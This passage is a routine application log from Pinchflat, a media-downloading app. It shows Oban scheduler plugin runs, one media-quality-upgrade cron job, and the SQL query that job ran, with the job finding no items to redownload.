[info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:53.657 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.760 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:23.659 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:53.661 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.761 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:23.663 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:53.665 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.762 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:23.667 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:53.669 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.763 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:23.671 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:53.673 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.764 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:23.675 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:53.677 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.765 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:23.679 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:53.681 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.766 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:23.683 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:53.685 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.767 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:23.687 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:53.689 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.768 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:23.691 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:53.693 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.769 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:23.695 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:53.697 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.770 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:23.699 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:53.701 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.771 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:23.703 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:53.705 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.772 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:23.707 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:53.709 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.773 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:23.711 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:53.713 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.774 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:23.715 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:53.717 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.775 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:23.719 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:53.721 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.776 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:23.723 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:53.725 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.777 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:23.727 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:53.729 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.778 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:23.731 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:53.732 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.779 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:23.735 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:53.737 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.780 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:23.739 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:53.741 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.781 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:23.743 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:53.745 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.782 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:23.747 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:53.749 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.783 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:23.751 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:53.753 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.784 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:23.755 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:53.757 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.785 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:23.759 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:53.761 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.786 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:23.763 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:53.765 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.787 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:23.767 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:53.769 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.788 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:23.771 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:53.773 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.789 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:23.775 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:53.777 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.790 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:23.779 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:53.781 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.791 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:23.783 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:53.785 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.792 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:23.787 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:53.789 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.793 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:23.791 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:53.793 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.794 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:23.795 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:53.797 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.795 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:23.799 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:53.801 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.796 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:23.803 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:53.805 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.797 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:23.807 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:53.808 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.798 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:23.811 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:53.813 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.799 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:23.815 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:53.816 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.800 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:23.819 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:53.821 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.801 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:23.823 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:53.825 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.802 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:23.827 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:53.829 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.803 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:23.831 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:53.833 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.804 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:23.835 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:53.837 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.805 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:23.839 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:53.841 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.806 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:23.843 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:53.845 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.807 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:23.848 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:53.850 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.808 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:23.852 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:53.854 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.809 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:23.856 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:53.858 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.810 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:23.860 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:53.862 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.811 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:23.864 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:53.866 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.812 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:23.868 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:53.870 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.813 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:23.872 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:53.874 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.814 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:23.876 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:53.878 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.815 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:23.880 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:53.882 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.816 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:23.884 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:53.886 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.819 [info] {"source":"oban","duration":2316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2623]} 19:00:00.827 [info] {"args":{},"id":2623,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1765591200827223713,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.833 [debug] QUERY OK source="media_items" db=5.7ms idle=1198.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 19:00:00.833 [info] Redownloading 0 media items 19:00:00.835 [info] {"args":{},"id":2623,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":6818,"event":"job:stop","queue_time":825007,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:23.888 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:53.890 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.820 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:23.892 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:53.894 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.821 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:23.896 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:53.898 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.822 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:23.900 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:53.902 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.823 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:23.904 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:53.906 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.824 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:23.908 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:53.910 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.825 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:23.912 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:53.914 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.826 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:23.916 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:53.918 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.827 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:23.920 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:53.922 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.828 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:23.924 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:53.926 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.829 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:23.928 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:53.930 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.830 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:23.932 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:53.934 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.831 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:23.936 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:53.938 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.832 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:23.940 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:53.943 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.833 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:23.945 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:53.947 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.834 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:23.950 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:53.952 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.835 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:23.954 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:53.956 [info] 